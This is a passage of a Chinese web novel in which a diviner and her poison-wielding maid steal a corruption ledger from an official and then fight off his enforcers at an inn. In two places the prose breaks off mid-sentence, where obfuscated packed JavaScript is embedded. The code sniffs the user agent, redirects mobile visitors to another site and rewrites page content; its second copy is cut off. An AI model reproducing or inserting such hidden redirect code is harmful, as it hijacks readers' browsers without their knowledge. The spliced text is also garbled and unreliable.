奕秋坐在她对面,慢条斯理地喝着茶。白衣如雪,发髻一丝不苟,和旁边那团“鸟巢”形成鲜明对比。 姜亦和闻人奚郁从楼梯上走下来。 姜亦今天换了件深青色的劲装,左耳的赤金麒麟坠在晨光里晃了晃。 闻人奚郁换了身衣裳,依旧是淡紫色,和之前那件行走如水的质感不一样,显得人精神不少,长发及腰,用发带束起,手里摇着折扇。 两人落座。老板娘端上热粥和包子。 姜亦喝了一口粥,目光扫过奕秋,又扫过趴着的姣姣,最后落在桌上的空碗上。 “她吃了多少?”他问。 奕秋头也不抬:“三个包子,两碗粥。” 姜亦沉默了一瞬。他低头看了看自己面前那碗粥,忽然觉得有点不够吃。 闻人奚郁笑着把一碟酱牛肉往姣姣那边推了推。 姣姣鼻子动了动,抬起头,看见那碟牛肉,眼睛亮了一瞬。她伸手抓了一片塞进嘴里,嚼了两下,又趴回去了。 姜亦看着这一幕,嘴角微微抽了一下。 奕秋放下茶杯,忽然开口。 “昨夜我起了一卦。” 她的声音很淡,像是在说今天天气不错。但桌上的气氛忽然变了。 姣姣从胳膊里抬起脸,睡意去了大半。姜亦放下粥碗。闻人奚郁收起折扇。 三双眼睛同时看向奕秋。 奕秋从袖中取出龟甲,置于桌面。龟甲表面流转着淡淡的微光,纹路比之前任何一次都要清晰。 那光芒不是刺眼的亮,而是一种沉静的、像月光落入深潭的光。 “周财的书房里,”她指尖轻点龟甲,声音依旧平静,“有一份文书。记录了冰心玉的去向,换出去的银子分给了谁,剩下的进了谁的私库。” 姜亦的手停在茶杯上。 闻人奚郁的目光微动。 姣姣彻底清醒了,坐直身子,眼睛亮得惊人:“在哪儿?” “书房东墙,第三块砖后。” “暗格。” 她收回龟甲,端起茶杯,抿了一口。像是在说一件再寻常不过的事。 四人沉默了一瞬。 姣姣咧嘴笑了:“那还等什么?” 姜亦点头,端起茶杯一饮而尽。他放下茶杯的时候,目光在奕秋身上停了一瞬。 东夷卦术。 他在心里默念了一遍这四个字。 他见过很多自称“东夷卦修”的人。原终皇城里那些算命的,十个里有九个半是骗子。剩下那半个,算个天气都要磨蹭半天。他从来不信这些。 现在他信了。 东夷卦修,和那些算命的,根本不是一个概念。 不是因为他亲眼看见了什么神迹。 是因为一路走来,奕秋的每一卦都准得吓人。从茶楼那具尸体开始,到义庄的玉屑,到茶棚老婆婆说的皇城凶案,到昨夜那份文书的位置——没有一卦落空。 真正的卦修,果然和外面那些江湖术士不一样。 闻人奚郁在旁边轻笑:“奕秋姑娘的卦术,当真是鬼神莫测。” 奕秋没理他。 姣姣站起来,拍了拍衣摆,脸上挂着得意的笑:“行了,今晚我去。” 姜亦皱眉:“你去?” “对呀。”姣姣掰着手指,“周府肯定有护卫。我擅长下毒,放倒了不声不响,拿了东西就走。你们去,还得打架,多麻烦。” 姜亦看着她,欲言又止。 闻人奚郁在旁边轻笑:“姣姣姑娘,又有什么馊主意了?” 姣姣冲他眨眨眼,笑得狡黠:“嘻嘻,打个架去。” 闻人奚郁笑着摇头。 姜亦沉默了一瞬,然后开口:“周财是尊界一重。” 他的声音不大,但语气很沉。像是在提醒,又像是在确认。 姣姣点头:“我知道啊。” “你知道?”姜亦看着她,“尊界和五道四重之间的差距——” “姜大侠。”姣姣打断他,笑嘻嘻的,“你忘了我一个人撂倒十一个五道高手?” “那是五道。”姜亦说,“周财是尊界。” “我知道啊。”姣姣歪头,“所以我又不跟他打。拿了东西就跑,他追不上我的。” 姜亦还想说什么,闻人奚郁轻轻拍了拍他的肩膀。 “让她去。”闻人奚郁说,“姣姣姑娘看着不靠谱,但从来没掉过链子。” 姣姣瞪他:“什么叫看着不靠谱?我一直很靠谱好吗!” 闻人奚郁笑着没接话。 姜亦沉默了很久,终于点了点头。 “小心。” 姣姣冲他挥挥手,转身往楼上走。 走了几步,她忽然停下来,回头看向奕秋。 “小姐,你不拦我?” 奕秋端着茶杯,眼都没抬。 “拦你干什么?” “万一我受伤了呢?” “你不会。” “你怎么知道?算出来的?” 奕秋终于抬眼看她。 那目光很淡,但姣姣觉得,那双眼睛里什么都有。 “你就是不会。” 姣姣愣了一下,然后笑了。 “行吧,那我走了。” 她蹦蹦跳跳地上了楼。 奕秋收回目光,继续喝茶。 姜亦坐在对面,看着这一幕,忽然觉得有点奇怪。 他认识她们好几天了。姣姣说什么,奕秋从来不拦,倒像是——她知道她会没事。 或者说,她知道她能做到。 他忽然想起姣姣那句话:“我人缘很好。” 现在他觉得,那不是人缘好。那是——她根本不怕。 姜亦看着奕秋,想说什么,但终究没开口。他端起茶杯,喝了一口。 茶已经凉了。 * 天色暗下来。 皇城的街道渐渐安静,商铺落了锁,行人归了家。只有打更人的梆子声,在巷子里一声一声地响。 姣姣换了一身深红色的夜行衣,腰间只挂了几个最要紧的香囊,银铃也摘了——怕响。她站在窗前,往外看了一眼。 隔壁房间的灯还亮着。 她推门出去。 走廊里,奕秋靠在墙上,手里握着那柄无尘剑。 姣姣愣了一下:“小姐?” 奕秋看了她一眼。 “小心。” 就两个字。 然后她转身,回了自己房间。 姣姣站在原地,看着那扇关上的门,笑了笑。然后她翻窗出去,消失在夜色里。 周府在皇城东北,离长公主府不远。 青砖灰瓦,门前两只石狮子,气派得很。 姣姣蹲在街对面的屋顶上,看着那扇朱漆大门。 门口站着四个护卫,都是三道左右的修为。院里还有巡夜的,一队五人,来回走动。 她数了数。 前院八人,中院六人,后院——她看不见。但周财的书房在后院,那里肯定守得最严。 姣姣没着急。 她趴在屋顶上,等。 等了一炷香,巡夜的护卫换班。换班的间隙,有一盏茶的功夫,前院和中院之间会空出一条路。 她等的就是这个。 更鼓敲过三声,前院的护卫往东边去了,中院的护卫还没过来。 姣姣从屋顶上翻下来,像一只猫,无声无息地落在地上。 她穿过前院,绕过假山,从中院的侧门溜进去。脚步很轻,轻得像踩在棉花上。一路上,她路过三个护卫,都离她不到十步。但谁都没发现她。 不是因为他们瞎,是她太会躲了。 每一步都踩在他们的视线盲区,每一次侧身都刚好被柱子或花丛挡住。 像是在自家后院散步。 后院到了。 书房在院子最深处,门前站着两个人,都是四道高手。 姣姣蹲在花丛后面,看了他们一眼,然后从腰间摸出一个小瓷瓶。拔开瓶塞,一股极淡的香气飘出来。 那香气太淡了,淡到站在三步之外都闻不见。 那两个护卫的眼皮开始发沉,身体开始发软。一个人打了个哈欠,另一个人揉了揉眼睛。然后两个人靠着门框,慢慢滑下去,睡着了。 姣姣把瓷瓶收好,大摇大摆,推门进去。 书房不大,一张书案,几排书架,墙上挂着字画。她走到东墙,数了数砖——第三块。 手指抠进砖缝,轻轻一撬。 砖松了。 她把砖抽出来,伸手进去,摸到一个油布包。 拿出来,打开。 里面是一沓纸。密密麻麻写着字,有名字,有数字,有日期。冰心玉换了多少,卖给了谁,银子分给了谁,每一笔都记得清清楚楚。 姣姣翻了两页,忽然顿住。 最后一页上,写着三个字。 长公主。 姜未玉。 她把油布包揣进怀里,正要转身——门外传来脚步声。 不是巡夜的护卫。那脚步声太稳,太沉,每一步都带着压迫感。 姣姣眯起眼。 门被推开。 周财站在门口。 他穿着一件深灰色的家居袍,头发散着,显然是匆忙赶来的。但他周身的气息,稳得像一座山。 尊界一重。 他的目光落在姣姣身上,在她怀里的油布包上停了一瞬,然后移到她脸上。 月光从窗户漏进来,照在两个人之间。 姣姣没有一点“偷偷摸摸”。 她站在书房中央,怀里揣着那沓纸,姿态随意得像是在自家客厅。红衣在月光下红得发亮,杏眼圆润,嘴角挂着一丝笑。 周财看着她,忽然觉得有点恍惚。 他见过很多人闯他的书房。有江湖客,有仇家,有想偷东西的毛贼。每个人都是鬼鬼祟祟的,蒙着脸,弯着腰,恨不得把自己缩成一团。 但这个人不是。 她大摇大摆地站在这里,像是在逛集市。 周财深吸一口气,压下翻涌的气血。 “姣姣姑娘,”他开口,声音沙哑,“你就这样大摇大摆闯入,是想和我周家乃至整个原终为敌吗?” 姣姣歪头看着他。 月光落在她脸上,把那笑容照得很亮。 “哟,亲自出来迎接呀。” 她晃了晃怀里的油布包。 “你的文书,我拿到咯。” 周财的脸色变了。 那沓纸他藏了十几年。他知道那东西一旦流出去,会是什么后果。但他从来没想过,会有人能找到它。 怎么找到的? 突然他想起了那个白衣女子。 东夷卦修,尊界一重。 他之前听说她在巷子里一个字定住七八个五道高手,还以为是夸张。东夷人嘛,神神叨叨的,传出去的话能有几分真? 但现在他信了。 不是因为她定住了几个人。是因为——那份文书的位置,除了他自己,没有人知道。连他老婆都不知道。连他最信任的管家都不知道。 但她算出来了…… 东夷卦术。 他以前觉得那是骗人的把戏。现在看来,是他太蠢了。 周财深吸一口气,压下翻涌的情绪,目光死死盯着姣姣怀里的油布包。 “姣姣姑娘,”他的声音沉下来,“你知道那是什么东西吗?” “知道啊。”姣姣眨眨眼,“扳倒你和你背后那个人的东西。” 周财的眼神变了。 “你以为,你拿着那个东西,能走出这个门?” “试试看咯。”姣姣笑眯眯的。 周财没再说话。 他一掌拍出。 尊界一重的掌力裹挟着罡风,直奔姣姣面门。这一掌要是拍实了,五道四重的身体根本扛不住。 姣姣没硬接。她侧身躲开,同时一脚踢向周财膝盖。 周财后退一步,掌风再起。姣姣又躲开了。 两人在书房里过了十几招。 书架在震动,桌上的茶具在摇晃,墙上的字画被掌风撕成碎片。 周财越打越心惊。 这个小姑娘,明明只有五道四重,怎么拳脚功夫这么厉害?每一招都恰到好处,每一次躲闪都刚好擦着他的掌风过去。她没用武器,没用法力,就是纯粹的拳脚内力。但打起来,竟然不落下风。 他想不通。 尊界和五道四重之间的差距,是天堑。他一只手就能捏死一个五道四重。 但眼前这个人,他捏不死。 姣姣一边打一边笑:“呀,你怎么还着急了?看来这个文书很重要呀。” 周财咬牙,掌力再加三分。姣姣被他逼退两步,后背撞上书架。 书架上的书哗啦啦掉下来,砸在地上,扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437474|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一阵灰尘。 周财趁机一掌拍向她胸口。 这一掌用了十成力。他不想再拖了。他要一掌把这个小丫头拍死,拿回文书,然后当什么都没发生过。 姣姣没躲。 她左手格开他的掌,右手从腰间摸出一个小瓷瓶,瓶口对准周财的脸—— “噗——” 一团紫黑色的粉末喷出来,正正糊在周财脸上。 那不是普通的毒粉。那是姣姣自己配的,用了十七种药材,熬了三天三夜,专门用来对付高手的。 入眼即化,沾肤即腐。 周财惨叫一声,捂住眼睛往后退。 那粉末入眼的瞬间,他感觉有什么东西在烧他的眼球。不是火,是毒。从眼球一路烧到脑仁,烧得他整个人都在发抖。 “我的眼睛——!” 姣姣落在地上,拍了拍衣摆。 她从怀里摸出一个小瓶,放在书案上。 “这是解药。清水化开,洗三遍就好了。” 她往门口走,走到门槛处,忽然回头。 周财捂着眼睛跪在地上,浑身发抖。那只没被糊住的眼睛睁得老大,里面全是血丝。他瞪着姣姣,像一只受伤的野兽。 “南水毒医!”他嘶声吼道,“一群阴沟里的老鼠!!” 姣姣笑了。 那笑容在月光下,明亮得像白昼。 “那瓶解药,不用客气哟~” 她翻窗出去,消失在夜色里。 周财跪在地上,捂着眼睛,浑身发抖。 周管家带着护卫冲进来,看见这一幕,吓得脸都白了。 “老爷!老爷您怎么了!” “追……给我追……” 周财的声音在发抖。他的眼睛还在烧,但比眼睛更烧的是他的脑子。 他想不通。 他怎么也想不通。 一个十五六岁的小丫头,五道四重,怎么敢一个人闯他的府邸?怎么敢不蒙面、不伪装、大摇大摆地走进来?怎么敢当着他的面拿走那份文书?怎么敢毒瞎他的眼睛,还留下解药? 她不怕吗? 她凭什么不怕? 周财忽然想起她刚才那句话——“你,包括你身后的那个人,都代表不了整个原终。” 她说这句话的时候,在笑。 那种笑不是挑衅,不是嚣张。 而是一种居高临下的、完全不在意的笑。 好像他周财,连同他身后的长公主,在她眼里,什么都不是。 周财打了个寒颤。 不是疼的。是怕的。 他忽然意识到一件事。 这个“婢女”,可能比那个白衣女子,更可怕。 姣姣从周府后墙翻出来,一路狂奔。 她跑得很快,但不是因为怕。 是兴奋。 怀里那沓纸硌得她胸口疼,但她笑得眼睛弯弯的。 拐过三条街,翻过两道墙,她落在客栈后院的巷子里。姣姣刚站稳,就看见一个人靠在墙边。 白衣,长剑,面无表情。 姣姣愣了一下,然后笑了。 “小姐,你怎么在这儿?” 奕秋看了她一眼。 “接你。” 就两个字。 姣姣笑得更开了。她从怀里掏出油布包,在奕秋面前晃了晃。 “拿到了。” 奕秋没看油布包。她的目光在姣姣脸上停了一瞬。脸上没伤,手上没伤,衣服也没破。头发有点乱,但那是跑的时候被风吹的。 “走吧。”她转身,推门进去。 姣姣跟在后面,脚步轻快得像只偷了腥的猫。 天井里,姜亦和闻人奚郁都在。 姜亦坐在石桌旁,手指轻轻敲着桌面,脸上没什么表情。但他看见姣姣进来的那一刻,眼底有什么东西松了一下。 闻人奚郁摇着折扇,笑眯眯的:“姣姣姑娘,回来了?” 姣姣把油布包往石桌上一拍。 “看看这是什么。” 姜亦打开油布包,一页一页翻着那些纸。 他的动作很慢。 翻到最后一页时,他的手停了。 姣姣趴在桌上,托着腮看他:“怎么样,姜大侠,这趟没白跑吧?” 姜亦沉默了很久。 然后他抬起头,看着姣姣。 “你受伤了没有?” 姣姣愣了一下。 “没有啊。” “周财没伤到你?” “他倒是想。”姣姣咧嘴一笑,“被我糊了一脸毒粉,现在估计还在洗眼睛呢。” 姜亦看着她,嘴角微微动了一下。 “辛苦了。” 姣姣眨眨眼,忽然觉得有点不好意思。 “哎呀,小事小事。”她摆摆手,“你们看看那文书,我回去睡觉了。” 她站起来,往房间走。走了几步,忽然停下来,回头看向奕秋。 “小姐。” 奕秋抬眼。 “你算没算到,我会跟周财打一架?” 奕秋看着她。 “算到了。” “那你为什么不拦我?” 奕秋沉默了一瞬。 “因为你打得过。” 姣姣愣了一下,然后笑了。 “也是。” 她转身,推门进去。 门关上了。 天井里,三个人坐在月光下。 姜亦把文书收好,看向奕秋。 “奕秋姑娘,多谢。” 奕秋没说话,只是点了点头。 闻人奚郁摇着折扇,忽然说:“你们说,周财现在在干什么?” 姜亦想了想。 “在写信。”他说,“给长公主写信。” 闻人奚郁笑了。 “那咱们呢?” 姜亦站起来,握着那沓纸。 “等。”他说,“等他写完,等他寄出去。” 他看向奕秋。 “奕秋姑娘,那封信——” 奕秋开口:“三日后,长公主府会有人出城。” 姜亦点头。 他站在月光下,左耳的麒麟坠轻轻晃动。 “那就等三天。” 姣姣的房间已经熄了灯。 月光从窗户漏进去,照在她脸上。她睡着了,嘴角还挂着笑。 隔壁房间,奕秋盘膝坐在榻上,闭目调息。 她的嘴角,微微弯了一下。 夜风拂过天井,桂花落了一地。 11. 龙潭虎穴客折肩 周府的书房一夜没熄灯。 周财坐在太师椅上,面前的茶已经凉透了,他一口没动。眼睛不疼了——姣姣留下的那瓶解药,他用清水化开,洗了三遍,确实好了。但他坐在这里,不是因为眼睛。 是因为那份文书。 他藏了十二年的东西,那个小丫头只用了半炷香的功夫就找到了。 那个白衣卦修。 这个人从他脑子里冒出来的时候,他打了个寒颤。一个能算到他书房暗格的人,还能算到什么? 他猛地站起来,走到书案前,提笔蘸墨。 信写得很快,字迹潦草,但每一笔都用力得几乎要把纸戳破。 “殿下亲启:昨夜有贼人潜入周府,盗走冰心玉案账册。贼人系此前查案的那四人,为首者白衣女,东夷卦修,尊界一重;其婢女红衫,五道四重,南水毒医;另两人,一为紫衣文士,一为墨绿剑客,自称姓姜,尊界二重。账册已失,臣万死。请殿下定夺。” 他放下笔,把信折好,封进信封。又在信封上多封了一层蜡。 “来人。” 周管家推门进来,眼睛红肿,显然也是一夜没睡。 “把这封信,亲手送到长公主府。亲自交到凌香姑姑手上。” “是。” 周管家接过信,转身要走。 “等等。” 周财叫住他。沉默了很久,然后说:“明天一早,带几个人,去客栈。” 周管家愣住了:“老爷?” “去要个说法。”周财的声音很沉,“她们偷了东西,我们去找,天经地义。” 周管家张了张嘴,想说什么,但看见周财的脸色,把话咽了回去。 “是。” 门关上。书房里又只剩下周财一个人。 他坐在太师椅上,看着窗外的天色一点点亮起来。晨光照在他脸上,那张脸比昨天老了十岁。 他忽然想起那个红衫少女临走时回头说的那句话——“那瓶解药,不用客气哟~” 他闭上眼睛。 那句话在他脑子里转了一夜,怎么都赶不走。 不是因为她嚣张,是因为她太无所谓了。一个五道四重的小丫头,面对尊界一重,怎么可能这么无所谓?除非——她根本没把他放在眼里。 周财睁开眼,看着桌上那盏凉透的茶。 他已经没有退路了。 * 长公主府。 姜未玉靠在软榻上,手里捏着那封信,已经看了三遍。她看得很慢,每一遍都比上一遍更慢。殿内很安静,连龙涎香燃烧的细微声响都听得见。 凌香站在一旁,低着头,大气都不敢出。 姜未玉把信放下。她的动作很轻,但凌香的肩膀还是抖了一下。 “那个小姑娘,”姜未玉开口,声音不大,像是在自言自语,“把周财打了?” 凌香不敢接话。 姜未玉看着信纸上那行字——“其婢女红衫,五道四重,南水毒医”。 她忽然笑了。 那笑容很轻,但眼底没有笑意。 “周财是尊界一重。”她说,语气很平淡。 凌香终于开口:“殿下,那婢女是不是用了什么手段——” “手段?”姜未玉打断她,“一个五道四重,对尊界一重,用什么手段能赢?” 凌香闭嘴了。 姜未玉靠在榻上,手指轻轻敲着信纸。她敲得很慢,一下,一下,像是在想什么。殿内安静了很久。 “把万蛟叫来。”她忽然说。 凌香一愣:“殿下?” “没听见?”姜未玉抬眼。 凌香打了个寒颤,连忙应声:“是。” 她快步退出殿外。 殿内又安静下来。 姜未玉重新拿起那封信,目光落在那四个字上——“自称姓姜”。 她盯着那两个字看了很久,然后把信放下,闭上眼睛。 “十二年了。”她轻声说。 声音很轻,轻得像是说给自己听的。 * 城北大营。 赵守成正站在演武场边,看着士兵操练。他今天穿了一身便服,玄色长袍,腰间系着革带,少了甲胄在身的肃杀,倒像个退了休的老将。但他站在那里的姿态,还是军人的样子,背挺得笔直,目光如鹰。 “将军。”一个亲兵快步走过来,压低声音,“有人找您,说是您妹子让来的。” 赵守成一愣,然后笑了。“那丫头,又搞什么名堂。”他转身往营门走。 营门外站着两个人。 一个墨绿劲装,左耳坠着赤金麒麟;一个淡紫玄衣,手里摇着折扇。 赵守成脚步一顿。他的目光落在那个墨绿劲装的年轻人身上,看了很久。 然后他挥了挥手,让亲兵退下。 “进来。” 三人穿过演武场,走进大帐。赵守成把帘子放下,转过身,看着那个年轻人。 姜亦也看着他。 帐内安静了一瞬。 然后赵守成单膝跪地。他的动作很慢,膝盖落在地上发出沉闷的一声响。他低下头,声音沙哑,像是在压着什么。 “臣赵守成,誓死效忠陛下。” 姜亦就那么站着,看着跪在地上的人。过了很久,他才开口。 “赵将军,起来。” 赵守成站起来。他看着姜亦,眼眶泛红。这个年轻人,比他上次见到的时候又高了一些。左耳的麒麟坠在晨光里晃了晃,和他父亲年轻时一模一样。 “陛下——”赵守成开口。 “叫我姜亦。”姜亦打断他,“在外面,没有陛下。” 赵守成愣了一下,然后笑了。那笑容很苦。 “姜亦。”他叫了一声,像是在确认什么。 姜亦点了点头。 “先主死不瞑目。”赵守成的声音忽然沉下来,像是从胸腔里挤出来的,“今日,必定将那些蛀虫一一拿下。” 他说这话的时候,手在抖。不是怕,是忍了太久。 姜亦看着他,沉默了一会儿,然后说:“有个人,你去见一面。” 赵守成抬头。 姜亦从袖中取出一枚玉牌,递给他。 赵守成接过,低头一看,脸色变了。 “这是——” “陈夫子。”姜亦说,“他在城西柳荫书院。告诉他,东西拿到了,计划不变。” 赵守成握着那枚玉牌,手抖得更厉害了。 陈夫子,那个被流放十二年的人,那个被扣上贪污罪名、差点死在流放路上的人。他以为他已经死了。他以为所有人都死了。 “他还活着?”赵守成的声音在发抖。 姜亦没有回答。他只是看着赵守成,说:“去见了他,你就知道接下来该做什么。” 赵守成深吸一口气,把玉牌收好,重新跪下去。 “臣,遵命。” 这一次,姜亦没有叫他起来。他转身,掀帘走出大帐。闻人奚郁跟在后面,走到门口时,回头看了赵守成一眼。 他还跪在地上,背挺得笔直,像一座山。 闻人奚郁收回目光,跟了上去。 * 客栈里。 姣姣趴在桌上,百无聊赖地转着茶杯。奕秋坐在对面,闭目养神。 茶已经凉了,姣姣懒得叫小二换。 她看着身边空出的两个座位。 “小姐,”姣姣忽然开口,“那两个人呢?” 奕秋眼都没睁:“不用管。” 姣姣“哦”了一声,继续转茶杯。转了两圈,又开口:“你说他们去哪儿了?” 奕秋没答。 姣姣撇撇嘴,也不问了。 她趴在桌上,下巴搁在胳膊上,看着门口发呆。阳光从门外照进来,在地上铺了一层金色。街上人来人往,热闹得很。姣姣看了一会儿,打了个哈欠。 然后她听见了脚步声。 不是一个人的脚步声。是很多人的,很重,很急,带着一股来者不善的气势。 姣姣坐直了。 奕秋睁开眼。 门被一脚踹开。 “砰——!” 两扇门板猛地撞在墙上,又弹回来,摇摇晃晃地挂在门框上。碎木屑飞了一地,溅到旁边的桌上,茶碗晃了晃,摔在地上,碎了。 老板娘从柜台后面探出头,脸色惨白。几个正在大堂吃饭的客人吓得站起来,退到角落里。 门口站着七八个人。 为首的是周管家,今天穿了一身崭新的锦袍,下巴抬得很高,眼神阴冷。他身后跟着六个黑衣人,都是五道高手,腰间悬刀,气息沉稳。 但最扎眼的是他身侧那个人。 那是个很高大的身影,比周管家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“周管家,你回去告诉你家老爷,”她慢悠悠地说,“解药我给了,东西我拿了。想要回去,让他自己来。派你带几个打手来踹门,算什么本事?” 周管家的脸涨得通红。他回头看了一眼那个戴面具的黑衣人。 黑衣人没动。 周管家咬了咬牙,转回头,瞪着姣姣。 “姣姣姑娘,你不要敬酒不吃吃罚酒。” “罚酒?”姣姣眨眨眼,“什么罚酒?你请客吗?” 周管家终于忍不住了。 “找死——!” 他身后那六个黑衣人同时拔刀,刀光刺眼。但最先动的不是他们。 是那个戴面具的人。 他一直站在那里,像一尊雕像。但周管家话音落下的瞬间,他动了。 没有征兆,没有蓄力,就那么忽然动了——一步跨出,人已经到了姣姣面前。 好快。 奕秋的眼睛骤然睁开。 那个人的手掌已经拍到了姣姣面前。那不是普通的一掌,掌风裹挟着罡气,所过之处,空气都在扭曲。 桌上的茶碗被震飞,碟子摔在地上碎了,瓜子洒了一地。 奕秋的左手已经抬起来了。 她起卦的速度比任何时候都快。 拇指叩在中指指节上,一道无形的屏障在姣姣身前凝聚。那屏障是半透明的,像一面看不见的墙,上面流转着细密的卦文。 屏障挡住了那一掌。 但只是一瞬。 “咔嚓——” 屏障碎了。 卦文像碎玻璃一样炸开,化作无数光点消散在空气中。奕秋的眉头皱了一下,姣姣看见了。 那一掌穿过碎裂的屏障,重重拍在姣姣左肩上。 “砰——!” 姣姣整个人被打飞出去,后背撞上身后的柱子,又弹回来,摔在地上。她闷哼一声,声音不大,但很沉,像是从胸腔里挤出来的。 左肩塌了。 肩胛骨以一种诡异的角度弯折着,不是断,是碎。碎成几块,皮肉还连着,但骨头已经撑不住了。 整个肩膀往下塌了半寸,衣料被碎骨顶起一个不正常的弧度。 疼。 不是那种尖锐的疼,是闷的,沉的,像有一块烧红的铁烙在肩膀上,从骨头一路烧到神经,烧得她整条左臂都在发麻。 姣姣咬住下唇,没叫出声。额头上渗出一层细密的汗珠,顺着脸颊滑下来,滴在地上。 她没有倒下。 右手撑着地,慢慢站起来。 左臂垂在身侧,一动不动,像一条死去的蛇。碎骨在皮肉下摩擦,发出细微的咯吱声。 她吸了一口气,把那声闷哼咽回去。 那个黑衣人已经欺身而上,第二掌紧跟着拍过来。 12. 英雄一怒为红颜 姣姣没有硬接。 她侧身躲开,脚步踉跄了一下——左肩的伤牵动了整个上半身,动作比平时慢了半拍。 那一掌擦着她的右臂掠过,掌风撕开衣袖,在手臂上留下一道血痕。 但她没有只躲。 她右手握拳,一拳砸在黑衣人肋下。 那一拳又快又狠,带着五道四重的全力。黑衣人闷哼一声,后退半步。他低头看了一眼自己的肋下——衣料碎了,露出的皮肤上有一个拳头印。 姣姣没有停。 她咬着牙,又是一拳砸在他胸口。 黑衣人再退一步。 第三拳砸在他腹部。 黑衣人弯下腰。 姣姣趁机提起右膝,膝盖骨猛地上顶,砸在下巴上,他整个人踉跄几步。 三拳一脚,一气呵成。 但她自己也疼得直冒冷汗。 左肩随着动作晃动,碎骨摩擦的声音更响了,像有人在用砂纸磨她的骨头。 她退出三步,靠在柱子上,喘了口气。 抬头看向那个黑衣人,咧嘴笑了。那笑容有点歪,带着疼出来的冷汗,但还是那副吊儿郎当的样子。 “哎哟,疼死我了。”她龇牙,“原来是尊界二重呀。” 她的声音有点发颤,但语气还是那样,懒懒散散的。 周管家站在后面,脸色惨白。他没想到这个人会直接出手。 他没想到尊界二重打一个五道四重,会用全力。他更没想到——那个小丫头,挨了尊界二重一掌,还能站起来,还能还手。 黑衣人低头看了看自己肋下的拳印,又抬头看姣姣。面具后面的眼睛,第一次有了一丝波动。 黑衣人没有停。他一步踏出,又要出手。 但这一次,他没有打出去。 一道剑光横在他面前。 奕秋拔剑了。 无尘剑出鞘的声音很轻,像风吹过竹叶。剑身雪白,没有一丝杂色,在日光下泛着冷冷的寒光。 她站在姣姣身前,剑尖指着黑衣人的咽喉,距离不到三尺。 她的脸上还是没什么表情。但她的手很稳,剑很稳。 稳得像一座山。 黑衣人停下脚步,看着那柄剑。 “东夷剑。”他开口,声音很低,很沉,像是从面具后面挤出来的。 奕秋没有回答。她只是站在那里,剑尖纹丝不动。 姣姣在她身后喘了口气,用右手拍了拍她的肩膀。 “小姐,慢点打。”她笑嘻嘻地说,但声音明显比平时虚了不少,“我歇会儿。” 奕秋没理她。 黑衣人动了。他不再用掌,从腰间抽出一柄短刀。刀身漆黑,没有光泽,像一条毒蛇。他出刀很快,一刀刺向奕秋心口。 奕秋侧身避开,剑尖划向他的手腕。黑衣人收刀格挡,刀剑相撞,发出一声脆响。 两人在客栈大堂里过了十几招。 刀光剑影,快得让人眼花缭乱。桌椅被劈碎,柱子被划出一道道深痕,碎木屑飞得到处都是。 那几个黑衣人护着周管家退到角落里,大气都不敢出。 姣姣靠在柱子上,看着奕秋的背影。她的剑越来越快,越来越凌厉。 那不是正常的打法。 她在生气。 姣姣愣了一下。 她认识奕秋这么久,从来没见过她生气。那个人永远都是那副面无表情的样子,说什么都“嗯”,做什么都淡淡的。但此刻,她的剑里有一股压不住的东西,像是冰层下面的火。 姣姣忽然笑了。 “小姐,”她喊,“别生气嘛,我没事。” 奕秋没理她。一剑刺出,比之前任何一剑都快。黑衣人躲闪不及,被剑尖划破手臂,鲜血涌出来。 黑衣人闷哼一声,退后两步。他低头看了一眼手臂上的伤口,又抬头看奕秋。面具后面的眼睛,第一次有了一丝波动。 “你不是尊界一重。”他说。 奕秋没有回答。她只是站在那里,剑尖指着地面,白衣上溅了几滴血,不是她的。她的呼吸很稳,但手在微微发抖。 不是因为累,是因为——她在忍。 姣姣看出来了。 奕秋在忍。 她忍得很辛苦。 她能一剑杀了这个人,但她不能。因为她一旦暴露真正的实力,后面的事就不好玩了。 姣姣叹了口气。 她用右手撑着柱子站起来,走到奕秋身边,用右手拍了拍她的肩膀。 “小姐,”她压低声音,用只有两个人能听见的音量说,“别生气啦。我又没死。” 奕秋看了她一眼。那一眼很短,但姣姣看见了里面的东西——不是生气,是怕。是那种“差一点就没了”的怕。 姣姣愣了一下,然后笑了。她用力拍了拍奕秋的肩膀。 “真的没事。骨头碎了接上就行,我又不是没断过。” 奕秋没说话。她深吸一口气,把剑收回去。 黑衣人看着她们,面具后面的眼睛微微眯起。他不明白这两个人在说什么,但他忽然有一种奇怪的感觉——这个白衣女子,刚才那一瞬间,好像变了。 不是变强了,是变了。像是冰层下面的东西,差一点就要翻上来。 但最后,她把它按下去了。 黑衣人看了她们很久,然后转身,往门口走。 “走。” 周管家愣住了:“大人——” “走。” 他的声音很沉,不容置疑。周管家打了个寒颤,连忙跟上去。那几个黑衣人护着他,快步走出客栈。 黑衣人走到门口,忽然停下脚步。他没有回头。 “下一次,不会这么简单。” 说完,他抬脚走了。一行人消失在街角。 客栈里一片狼藉。 桌椅碎了大半,柱子上的剑痕触目惊心,碎木屑和碎瓷片撒了一地。 老板娘缩在柜台后面,浑身发抖。 那几个客人早就从后门跑了。 姣姣靠在柱子上,左肩塌着,脸色苍白。但她还在笑。 “小姐,”她说,“你把人家客栈砸了,咱们得赔多少钱啊?” 奕秋看了她一眼,没说话。她从袖中取出一锭银子,放在柜台上。 老板娘愣愣地看着那锭银子,又看看奕秋,嘴唇动了动,想说什么,但没说出来。 奕秋没再说话,转身走回姣姣身边。 “上楼。” 姣姣“哦”了一声,乖乖跟着她往楼上走。右手托着左肩,一步一步,走得很慢。左肩的碎骨随着动作摩擦,疼得她直冒冷汗,但她咬着牙没出声。 进了房间,姣姣往床上一坐,长出了一口气。 “疼死我了。”她龇牙咧嘴,“那个王八蛋,下手真狠。” 奕秋站在门口,看着她。脸上的表情很淡,但眼底有什么东西在翻涌。 “要不要我帮你?”她问。 姣姣愣了一下,然后摇头。 “不用。”她咧嘴一笑,“我自己来。” 